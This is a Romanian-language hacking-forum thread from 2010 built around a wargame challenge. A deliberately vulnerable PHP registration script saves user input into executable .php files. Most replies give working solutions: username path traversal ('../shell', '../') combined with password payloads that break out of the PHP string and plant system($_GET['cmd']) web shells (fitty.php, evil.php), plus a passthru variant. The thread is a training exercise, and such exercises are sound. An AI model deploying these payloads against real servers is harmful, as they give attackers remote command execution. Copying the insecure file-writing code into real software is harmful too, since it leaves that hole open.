SirGod Posted February 3, 2010 Report Posted February 3, 2010 Fisiere pe server: index.php.Foldere pe server: /users..htaccess din /usersCodul din index.php<?phperror_reporting(0);if(isset($_POST['submit'])) { $name=$_POST['name']; $record = 'users/'.$name.'_data.php'; $fh = fopen($record, 'w') or die("Can not open file!"); $tag='<?php "'; fwrite($fh, $tag); $reguser = 'Username = ' .$_POST['name']; fwrite($fh, $reguser); $reguser2 = 'Password = ' .$_POST['password']; fwrite($fh, $reguser2); $tag2='" ?>'; fwrite($fh, $tag2); fclose($fh); echo 'Registered'; }else { echo '<html>'. '<form method="POST" action=""> '. '<input type="text" name="name">'. '<input type="password" name="password">'. '<input type="submit" name="submit" value="submit">'. '</form>'. '</html>'; }?>In folderul users avem htaccess (deny from all) deci nu il putem accesa sa ii vedem continutul si nici fisierele nu putem sa le accesam.Ce trebuie sa faceti:In directorul root, in acelasi loc cu index.php, plasati cumva un fisier cu numele vostru care sa va poata permite executarea de comenzi preluate dintr-o variabila preluata prin $_GET. Quote
loki Posted February 4, 2010 Report Posted February 4, 2010 cam ciudata scrierea fisierului: <?php "Username = userPassword = password" ?>user: password: "; passthru($_GET['cmd']); echo "asa am rezolvat cu ghilimelele. Quote
SirGod Posted February 7, 2010 Author Report Posted February 7, 2010 @loki: Gresit. Iti va creea fisierul in folderul users, pe care nu il poti accesa pentru ca ai .htaccess, deci nu ai ce face cu el.@pax: Ai prins ideea, dar vezi ca ce injectezi tu nu merge. O sa iti dea o eroare cand accesezi fisierul:Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in C:\wamp\www\wargames\pax_data.php on line 1Trebuie sa fi atent ce cod injectezi. Modul in care salvez datele de inregistrare l-am facut ca sa fie putin mai dificil. Si nu poti accesa /users/ , ai acces web nu consola, nu inteleg ce vrei sa arati cu alea.Sa explic pe scurt: Nu aveti acces la site decat prin WWW. Nu aveti consola. Nu puteti face NIMIC ca sa accesati folderul users pentru ca nu puteti trece peste htaccess. Si inca ceva, de care nu ati tinut cont. Am zis sa creati un fisier cu numele vostru nu numelevostru_data.php . Nu e mare branza, doar o mica schimbare de cod care trebuie injectat. Quote
Fitty Posted February 7, 2010 Report Posted February 7, 2010 (edited) Windows httpd server..1. Creem un shell langa directorul users, numit shell_data.phpUsername>> ../shellPassword>> "; ?><?php system($_GET['cmd']); //2. shell_data.php?cmd=echo "<?php system($_GET['cmd']); ?>" > fitty.php3. fitty.php?cmd=del shell_data.php 4. fitty.php?cmd=dir>> Avem shell-ul fitty.php <<Pa. Edited February 7, 2010 by Fitty Quote
SirGod Posted February 7, 2010 Author Report Posted February 7, 2010 Eh, merge si asa, dar merge si decat cu injectare o singura data, ceva de genu:User: ../Pass:"?><?php$code = "evil.php";$handler = fopen($code, 'w') or die("cant open file");$evil = "<?php system(\$_GET['cmd']); ?>";fwrite($handler, $evil);fclose($handler);?>Apoi accesam _data.php si ni se creeaza fisierul. Quote